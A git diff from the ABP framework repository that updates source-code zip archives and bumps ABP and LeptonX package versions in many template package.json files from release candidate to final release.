Binary files a/source-code/Volo.Abp.AuditLogging.SourceCode/Volo.Abp.AuditLogging.SourceCode.zip and b/source-code/Volo.Abp.AuditLogging.SourceCode/Volo.Abp.AuditLogging.SourceCode.zip differ
diff --git a/source-code/Volo.Abp.BackgroundJobs.SourceCode/Volo.Abp.BackgroundJobs.SourceCode.zip b/source-code/Volo.Abp.BackgroundJobs.SourceCode/Volo.Abp.BackgroundJobs.SourceCode.zip
index 6f08a0c0ef..e48ebcd319 100644
Binary files a/source-code/Volo.Abp.BackgroundJobs.SourceCode/Volo.Abp.BackgroundJobs.SourceCode.zip and b/source-code/Volo.Abp.BackgroundJobs.SourceCode/Volo.Abp.BackgroundJobs.SourceCode.zip differ
diff --git a/source-code/Volo.Abp.BlobStoring.Database.SourceCode/Volo.Abp.BlobStoring.Database.SourceCode.zip b/source-code/Volo.Abp.BlobStoring.Database.SourceCode/Volo.Abp.BlobStoring.Database.SourceCode.zip
index d04235691f..12f83ceff0 100644
Binary files a/source-code/Volo.Abp.BlobStoring.Database.SourceCode/Volo.Abp.BlobStoring.Database.SourceCode.zip and b/source-code/Volo.Abp.BlobStoring.Database.SourceCode/Volo.Abp.BlobStoring.Database.SourceCode.zip differ
diff --git a/source-code/Volo.Abp.FeatureManagement.SourceCode/Volo.Abp.FeatureManagement.SourceCode.zip b/source-code/Volo.Abp.FeatureManagement.SourceCode/Volo.Abp.FeatureManagement.SourceCode.zip
index 6e49e3787a..7a4df5194e 100644
Binary files a/source-code/Volo.Abp.FeatureManagement.SourceCode/Volo.Abp.FeatureManagement.SourceCode.zip and b/source-code/Volo.Abp.FeatureManagement.SourceCode/Volo.Abp.FeatureManagement.SourceCode.zip differ
diff --git a/source-code/Volo.Abp.Identity.SourceCode/Volo.Abp.Identity.SourceCode.zip b/source-code/Volo.Abp.Identity.SourceCode/Volo.Abp.Identity.SourceCode.zip
index 94ecd2ac6b..4bdbac2591 100644
Binary files a/source-code/Volo.Abp.Identity.SourceCode/Volo.Abp.Identity.SourceCode.zip and b/source-code/Volo.Abp.Identity.SourceCode/Volo.Abp.Identity.SourceCode.zip differ
diff --git a/source-code/Volo.Abp.IdentityServer.SourceCode/Volo.Abp.IdentityServer.SourceCode.zip b/source-code/Volo.Abp.IdentityServer.SourceCode/Volo.Abp.IdentityServer.SourceCode.zip
index 24ba5d2409..0bba3541e4 100644
Binary files a/source-code/Volo.Abp.IdentityServer.SourceCode/Volo.Abp.IdentityServer.SourceCode.zip and b/source-code/Volo.Abp.IdentityServer.SourceCode/Volo.Abp.IdentityServer.SourceCode.zip differ
diff --git a/source-code/Volo.Abp.OpenIddict.SourceCode/Volo.Abp.OpenIddict.SourceCode.zip b/source-code/Volo.Abp.OpenIddict.SourceCode/Volo.Abp.OpenIddict.SourceCode.zip
index e578f7c402..7236a098a8 100644
Binary files a/source-code/Volo.Abp.OpenIddict.SourceCode/Volo.Abp.OpenIddict.SourceCode.zip and b/source-code/Volo.Abp.OpenIddict.SourceCode/Volo.Abp.OpenIddict.SourceCode.zip differ
diff --git a/source-code/Volo.Abp.PermissionManagement.SourceCode/Volo.Abp.PermissionManagement.SourceCode.zip b/source-code/Volo.Abp.PermissionManagement.SourceCode/Volo.Abp.PermissionManagement.SourceCode.zip
index a21dad38cd..af1c59d8b9 100644
Binary files a/source-code/Volo.Abp.PermissionManagement.SourceCode/Volo.Abp.PermissionManagement.SourceCode.zip and b/source-code/Volo.Abp.PermissionManagement.SourceCode/Volo.Abp.PermissionManagement.SourceCode.zip differ
diff --git a/source-code/Volo.Abp.SettingManagement.SourceCode/Volo.Abp.SettingManagement.SourceCode.zip b/source-code/Volo.Abp.SettingManagement.SourceCode/Volo.Abp.SettingManagement.SourceCode.zip
index aafacd0fea..fb65556ea4 100644
Binary files a/source-code/Volo.Abp.SettingManagement.SourceCode/Volo.Abp.SettingManagement.SourceCode.zip and b/source-code/Volo.Abp.SettingManagement.SourceCode/Volo.Abp.SettingManagement.SourceCode.zip differ
diff --git a/source-code/Volo.Abp.TenantManagement.SourceCode/Volo.Abp.TenantManagement.SourceCode.zip b/source-code/Volo.Abp.TenantManagement.SourceCode/Volo.Abp.TenantManagement.SourceCode.zip
index ca0eaa4e5c..61650f54bf 100644
Binary files a/source-code/Volo.Abp.TenantManagement.SourceCode/Volo.Abp.TenantManagement.SourceCode.zip and b/source-code/Volo.Abp.TenantManagement.SourceCode/Volo.Abp.TenantManagement.SourceCode.zip differ
diff --git a/source-code/Volo.Abp.Users.SourceCode/Volo.Abp.Users.SourceCode.zip b/source-code/Volo.Abp.Users.SourceCode/Volo.Abp.Users.SourceCode.zip
index 7de4dfa629..afcf53089a 100644
Binary files a/source-code/Volo.Abp.Users.SourceCode/Volo.Abp.Users.SourceCode.zip and b/source-code/Volo.Abp.Users.SourceCode/Volo.Abp.Users.SourceCode.zip differ
diff --git a/source-code/Volo.Abp.VirtualFileExplorer.SourceCode/Volo.Abp.VirtualFileExplorer.SourceCode.zip b/source-code/Volo.Abp.VirtualFileExplorer.SourceCode/Volo.Abp.VirtualFileExplorer.SourceCode.zip
index a20aef5cca..c68493b9ba 100644
Binary files a/source-code/Volo.Abp.VirtualFileExplorer.SourceCode/Volo.Abp.VirtualFileExplorer.SourceCode.zip and b/source-code/Volo.Abp.VirtualFileExplorer.SourceCode/Volo.Abp.VirtualFileExplorer.SourceCode.zip differ
diff --git a/source-code/Volo.Blogging.SourceCode/Volo.Blogging.SourceCode.zip b/source-code/Volo.Blogging.SourceCode/Volo.Blogging.SourceCode.zip
index 2addd0bf69..f80adf291b 100644
Binary files a/source-code/Volo.Blogging.SourceCode/Volo.Blogging.SourceCode.zip and b/source-code/Volo.Blogging.SourceCode/Volo.Blogging.SourceCode.zip differ
diff --git a/source-code/Volo.CmsKit.SourceCode/Volo.CmsKit.SourceCode.zip b/source-code/Volo.CmsKit.SourceCode/Volo.CmsKit.SourceCode.zip
index 9a9113f085..a7610d72ec 100644
Binary files a/source-code/Volo.CmsKit.SourceCode/Volo.CmsKit.SourceCode.zip and b/source-code/Volo.CmsKit.SourceCode/Volo.CmsKit.SourceCode.zip differ
diff --git a/source-code/Volo.Docs.SourceCode/Volo.Docs.SourceCode.zip b/source-code/Volo.Docs.SourceCode/Volo.Docs.SourceCode.zip
index 9344cf5040..8b46011374 100644
Binary files a/source-code/Volo.Docs.SourceCode/Volo.Docs.SourceCode.zip and b/source-code/Volo.Docs.SourceCode/Volo.Docs.SourceCode.zip differ
diff --git a/templates/app-nolayers/angular/package.json b/templates/app-nolayers/angular/package.json
index c5deca0020..85cd237044 100644
--- a/templates/app-nolayers/angular/package.json
+++ b/templates/app-nolayers/angular/package.json
@@ -12,15 +12,15 @@
},
"private": true,
"dependencies": {
- "@abp/ng.account": "~10.3.0-rc.1",
- "@abp/ng.components": "~10.3.0-rc.1",
- "@abp/ng.core": "~10.3.0-rc.1",
- "@abp/ng.identity": "~10.3.0-rc.1",
- "@abp/ng.oauth": "~10.3.0-rc.1",
- "@abp/ng.setting-management": "~10.3.0-rc.1",
- "@abp/ng.tenant-management": "~10.3.0-rc.1",
- "@abp/ng.theme.lepton-x": "~5.3.0-rc.1",
- "@abp/ng.theme.shared": "~10.3.0-rc.1",
+ "@abp/ng.account": "~10.3.0",
+ "@abp/ng.components": "~10.3.0",
+ "@abp/ng.core": "~10.3.0",
+ "@abp/ng.identity": "~10.3.0",
+ "@abp/ng.oauth": "~10.3.0",
+ "@abp/ng.setting-management": "~10.3.0",
+ "@abp/ng.tenant-management": "~10.3.0",
+ "@abp/ng.theme.lepton-x": "~5.3.0",
+ "@abp/ng.theme.shared": "~10.3.0",
"@angular/animations": "~21.2.0",
"@angular/aria": "~21.2.0",
"@angular/common": "~21.2.0",
@@ -37,7 +37,7 @@
"zone.js": "~0.15.0"
},
"devDependencies": {
- "@abp/ng.schematics": "~10.3.0-rc.1",
+ "@abp/ng.schematics": "~10.3.0",
"@angular-eslint/builder": "~21.2.0",
"@angular-eslint/eslint-plugin": "~21.2.0",
"@angular-eslint/eslint-plugin-template": "~21.2.0",
diff --git a/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Blazor.Server.Mongo/package.json b/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Blazor.Server.Mongo/package.json
index c41e9d44fe..234a873cb7 100644
--- a/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Blazor.Server.Mongo/package.json
+++ b/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Blazor.Server.Mongo/package.json
@@ -3,7 +3,7 @@
"name": "my-app",
"private": true,
"dependencies": {
- "@abp/aspnetcore.components.server.leptonxlitetheme": "~5.3.0-rc.1",
- "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0-rc.1"
+ "@abp/aspnetcore.components.server.leptonxlitetheme": "~5.3.0",
+ "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0"
}
}
diff --git a/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Blazor.Server/package.json b/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Blazor.Server/package.json
index 3250057ec4..0479161a12 100644
--- a/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Blazor.Server/package.json
+++ b/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Blazor.Server/package.json
@@ -3,7 +3,7 @@
"name": "my-app",
"private": true,
"dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0-rc.1",
- "@abp/aspnetcore.components.server.leptonxlitetheme": "~5.3.0-rc.1"
+ "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0",
+ "@abp/aspnetcore.components.server.leptonxlitetheme": "~5.3.0"
}
}
diff --git a/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Blazor.WebAssembly/Server.Mongo/package.json b/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Blazor.WebAssembly/Server.Mongo/package.json
index 4c884245e1..066b3d8c0f 100644
--- a/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Blazor.WebAssembly/Server.Mongo/package.json
+++ b/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Blazor.WebAssembly/Server.Mongo/package.json
@@ -3,6 +3,6 @@
"name": "my-app",
"private": true,
"dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0-rc.1"
+ "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0"
}
}
diff --git a/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Blazor.WebAssembly/Server/package.json b/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Blazor.WebAssembly/Server/package.json
index 4c884245e1..066b3d8c0f 100644
--- a/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Blazor.WebAssembly/Server/package.json
+++ b/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Blazor.WebAssembly/Server/package.json
@@ -3,6 +3,6 @@
"name": "my-app",
"private": true,
"dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0-rc.1"
+ "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0"
}
}
diff --git a/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Host.Mongo/package.json b/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Host.Mongo/package.json
index 4c884245e1..066b3d8c0f 100644
--- a/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Host.Mongo/package.json
+++ b/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Host.Mongo/package.json
@@ -3,6 +3,6 @@
"name": "my-app",
"private": true,
"dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0-rc.1"
+ "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0"
}
}
diff --git a/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Host/package.json b/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Host/package.json
index 4c884245e1..066b3d8c0f 100644
--- a/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Host/package.json
+++ b/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Host/package.json
@@ -3,6 +3,6 @@
"name": "my-app",
"private": true,
"dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0-rc.1"
+ "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0"
}
}
diff --git a/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Mvc.Mongo/package.json b/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Mvc.Mongo/package.json
index 4c884245e1..066b3d8c0f 100644
--- a/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Mvc.Mongo/package.json
+++ b/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Mvc.Mongo/package.json
@@ -3,6 +3,6 @@
"name": "my-app",
"private": true,
"dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0-rc.1"
+ "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0"
}
}
diff --git a/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Mvc/package.json b/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Mvc/package.json
index 4c884245e1..066b3d8c0f 100644
--- a/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Mvc/package.json
+++ b/templates/app-nolayers/aspnet-core/MyCompanyName.MyProjectName.Mvc/package.json
@@ -3,6 +3,6 @@
"name": "my-app",
"private": true,
"dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0-rc.1"
+ "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0"
}
}
diff --git a/templates/app/angular/package.json b/templates/app/angular/package.json
index 9054de8542..2d0f96e204 100644
--- a/templates/app/angular/package.json
+++ b/templates/app/angular/package.json
@@ -12,15 +12,15 @@
},
"private": true,
"dependencies": {
- "@abp/ng.account": "~10.3.0-rc.1",
- "@abp/ng.components": "~10.3.0-rc.1",
- "@abp/ng.core": "~10.3.0-rc.1",
- "@abp/ng.identity": "~10.3.0-rc.1",
- "@abp/ng.oauth": "~10.3.0-rc.1",
- "@abp/ng.setting-management": "~10.3.0-rc.1",
- "@abp/ng.tenant-management": "~10.3.0-rc.1",
- "@abp/ng.theme.lepton-x": "~5.3.0-rc.1",
- "@abp/ng.theme.shared": "~10.3.0-rc.1",
+ "@abp/ng.account": "~10.3.0",
+ "@abp/ng.components": "~10.3.0",
+ "@abp/ng.core": "~10.3.0",
+ "@abp/ng.identity": "~10.3.0",
+ "@abp/ng.oauth": "~10.3.0",
+ "@abp/ng.setting-management": "~10.3.0",
+ "@abp/ng.tenant-management": "~10.3.0",
+ "@abp/ng.theme.lepton-x": "~5.3.0",
+ "@abp/ng.theme.shared": "~10.3.0",
"@angular/animations": "~21.2.0",
"@angular/aria": "~21.2.0",
"@angular/common": "~21.2.0",
@@ -37,7 +37,7 @@
"zone.js": "~0.15.0"
},
"devDependencies": {
- "@abp/ng.schematics": "~10.3.0-rc.1",
+ "@abp/ng.schematics": "~10.3.0",
"@angular-eslint/builder": "~21.2.0",
"@angular-eslint/eslint-plugin": "~21.2.0",
"@angular-eslint/eslint-plugin-template": "~21.2.0",
diff --git a/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.AuthServer/package.json b/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.AuthServer/package.json
index 60bf32ac15..5fc9b7e2f5 100644
--- a/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.AuthServer/package.json
+++ b/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.AuthServer/package.json
@@ -3,6 +3,6 @@
"name": "my-app-authserver",
"private": true,
"dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0-rc.1"
+ "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0"
}
}
diff --git a/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.Blazor.Server.Tiered/package.json b/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.Blazor.Server.Tiered/package.json
index 3250057ec4..0479161a12 100644
--- a/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.Blazor.Server.Tiered/package.json
+++ b/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.Blazor.Server.Tiered/package.json
@@ -3,7 +3,7 @@
"name": "my-app",
"private": true,
"dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0-rc.1",
- "@abp/aspnetcore.components.server.leptonxlitetheme": "~5.3.0-rc.1"
+ "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0",
+ "@abp/aspnetcore.components.server.leptonxlitetheme": "~5.3.0"
}
}
diff --git a/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.Blazor.Server/package.json b/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.Blazor.Server/package.json
index 3250057ec4..0479161a12 100644
--- a/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.Blazor.Server/package.json
+++ b/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.Blazor.Server/package.json
@@ -3,7 +3,7 @@
"name": "my-app",
"private": true,
"dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0-rc.1",
- "@abp/aspnetcore.components.server.leptonxlitetheme": "~5.3.0-rc.1"
+ "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0",
+ "@abp/aspnetcore.components.server.leptonxlitetheme": "~5.3.0"
}
}
diff --git a/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.Blazor.WebApp.Tiered/package.json b/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.Blazor.WebApp.Tiered/package.json
index 3250057ec4..0479161a12 100644
--- a/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.Blazor.WebApp.Tiered/package.json
+++ b/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.Blazor.WebApp.Tiered/package.json
@@ -3,7 +3,7 @@
"name": "my-app",
"private": true,
"dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0-rc.1",
- "@abp/aspnetcore.components.server.leptonxlitetheme": "~5.3.0-rc.1"
+ "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0",
+ "@abp/aspnetcore.components.server.leptonxlitetheme": "~5.3.0"
}
}
diff --git a/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.Blazor.WebApp/package.json b/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.Blazor.WebApp/package.json
index 3250057ec4..0479161a12 100644
--- a/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.Blazor.WebApp/package.json
+++ b/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.Blazor.WebApp/package.json
@@ -3,7 +3,7 @@
"name": "my-app",
"private": true,
"dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0-rc.1",
- "@abp/aspnetcore.components.server.leptonxlitetheme": "~5.3.0-rc.1"
+ "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0",
+ "@abp/aspnetcore.components.server.leptonxlitetheme": "~5.3.0"
}
}
diff --git a/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.HttpApi.HostWithIds/package.json b/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.HttpApi.HostWithIds/package.json
index 4c884245e1..066b3d8c0f 100644
--- a/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.HttpApi.HostWithIds/package.json
+++ b/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.HttpApi.HostWithIds/package.json
@@ -3,6 +3,6 @@
"name": "my-app",
"private": true,
"dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0-rc.1"
+ "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0"
}
}
diff --git a/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.Web.Host/package.json b/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.Web.Host/package.json
index 4c884245e1..066b3d8c0f 100644
--- a/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.Web.Host/package.json
+++ b/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.Web.Host/package.json
@@ -3,6 +3,6 @@
"name": "my-app",
"private": true,
"dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0-rc.1"
+ "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0"
}
}
diff --git a/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.Web/package.json b/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.Web/package.json
index 4c884245e1..066b3d8c0f 100644
--- a/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.Web/package.json
+++ b/templates/app/aspnet-core/src/MyCompanyName.MyProjectName.Web/package.json
@@ -3,6 +3,6 @@
"name": "my-app",
"private": true,
"dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0-rc.1"
+ "@abp/aspnetcore.mvc.ui.theme.leptonxlite": "~5.3.0"
}
}
diff --git a/templates/module/angular/package.json b/templates/module/angular/package.json
index 922d8d8140..2b71f1a57d 100644
--- a/templates/module/angular/package.json
+++ b/templates/module/angular/package.json
@@ -13,15 +13,15 @@
},
"private": true,
"dependencies": {
- "@abp/ng.account": "~10.3.0-rc.1",
- "@abp/ng.components": "~10.3.0-rc.1",
- "@abp/ng.core": "~10.3.0-rc.1",
- "@abp/ng.identity": "~10.3.0-rc.1",
- "@abp/ng.oauth": "~10.3.0-rc.1",
- "@abp/ng.setting-management": "~10.3.0-rc.1",
- "@abp/ng.tenant-management": "~10.3.0-rc.1",
- "@abp/ng.theme.basic": "~10.3.0-rc.1",
- "@abp/ng.theme.shared": "~10.3.0-rc.1",
+ "@abp/ng.account": "~10.3.0",
+ "@abp/ng.components": "~10.3.0",
+ "@abp/ng.core": "~10.3.0",
+ "@abp/ng.identity": "~10.3.0",
+ "@abp/ng.oauth": "~10.3.0",
+ "@abp/ng.setting-management": "~10.3.0",
+ "@abp/ng.tenant-management": "~10.3.0",
+ "@abp/ng.theme.basic": "~10.3.0",
+ "@abp/ng.theme.shared": "~10.3.0",
"@angular/animations": "~21.2.0",
"@angular/aria": "~21.2.0",
"@angular/common": "~21.2.0",
@@ -37,7 +37,7 @@
"zone.js": "~0.15.0"
},
"devDependencies": {
- "@abp/ng.schematics": "~10.3.0-rc.1",
+ "@abp/ng.schematics": "~10.3.0",
"@angular-eslint/builder": "~21.2.0",
"@angular-eslint/eslint-plugin": "~21.2.0",
"@angular-eslint/eslint-plugin-template": "~21.2.0",
diff --git a/templates/module/angular/projects/my-project-name/package.json b/templates/module/angular/projects/my-project-name/package.json
index 36c978de29..7b649d403b 100644
--- a/templates/module/angular/projects/my-project-name/package.json
+++ b/templates/module/angular/projects/my-project-name/package.json
@@ -4,8 +4,8 @@
"peerDependencies": {
"@angular/common": "~21.2.0",
"@angular/core": "~21.2.0",
- "@abp/ng.core": "~10.3.0-rc.1",
- "@abp/ng.theme.shared": "~10.3.0-rc.1"
+ "@abp/ng.core": "~10.3.0",
+ "@abp/ng.theme.shared": "~10.3.0"
},
"dependencies": {
"tslib": "^2.1.0"
diff --git a/templates/module/aspnet-core/host/MyCompanyName.MyProjectName.AuthServer/package.json b/templates/module/aspnet-core/host/MyCompanyName.MyProjectName.AuthServer/package.json
index ba5a70f741..1b82136b68 100644
--- a/templates/module/aspnet-core/host/MyCompanyName.MyProjectName.AuthServer/package.json
+++ b/templates/module/aspnet-core/host/MyCompanyName.MyProjectName.AuthServer/package.json
@@ -3,6 +3,6 @@
"name": "my-app-authserver",
"private": true,
"dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.basic": "~10.3.0-rc.1"
+ "@abp/aspnetcore.mvc.ui.theme.basic": "~10.3.0"
}
}
diff --git a/templates/module/aspnet-core/host/MyCompanyName.MyProjectName.Blazor.Server.Host/package.json b/templates/module/aspnet-core/host/MyCompanyName.MyProjectName.Blazor.Server.Host/package.json
index ebf3c12aa6..9dd0d6884d 100644
--- a/templates/module/aspnet-core/host/MyCompanyName.MyProjectName.Blazor.Server.Host/package.json
+++ b/templates/module/aspnet-core/host/MyCompanyName.MyProjectName.Blazor.Server.Host/package.json
@@ -3,7 +3,7 @@
"name": "my-app",
"private": true,
"dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.basic": "~10.3.0-rc.1",
- "@abp/aspnetcore.components.server.basictheme": "~10.3.0-rc.1"
+ "@abp/aspnetcore.mvc.ui.theme.basic": "~10.3.0",
+ "@abp/aspnetcore.components.server.basictheme": "~10.3.0"
}
}
diff --git a/templates/module/aspnet-core/host/MyCompanyName.MyProjectName.Web.Host/package.json b/templates/module/aspnet-core/host/MyCompanyName.MyProjectName.Web.Host/package.json
index a442008f3f..cdee4f88a8 100644
--- a/templates/module/aspnet-core/host/MyCompanyName.MyProjectName.Web.Host/package.json
+++ b/templates/module/aspnet-core/host/MyCompanyName.MyProjectName.Web.Host/package.json
@@ -3,6 +3,6 @@
"name": "my-app",
"private": true,
"dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.basic": "~10.3.0-rc.1"
+ "@abp/aspnetcore.mvc.ui.theme.basic": "~10.3.0"
}
}
diff --git a/templates/module/aspnet-core/host/MyCompanyName.MyProjectName.Web.Unified/package.json b/templates/module/aspnet-core/host/MyCompanyName.MyProjectName.Web.Unified/package.json
index a442008f3f..cdee4f88a8 100644
--- a/templates/module/aspnet-core/host/MyCompanyName.MyProjectName.Web.Unified/package.json
+++ b/templates/module/aspnet-core/host/MyCompanyName.MyProjectName.Web.Unified/package.json
@@ -3,6 +3,6 @@
"name": "my-app",
"private": true,
"dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.basic": "~10.3.0-rc.1"
+ "@abp/aspnetcore.mvc.ui.theme.basic": "~10.3.0"
}
}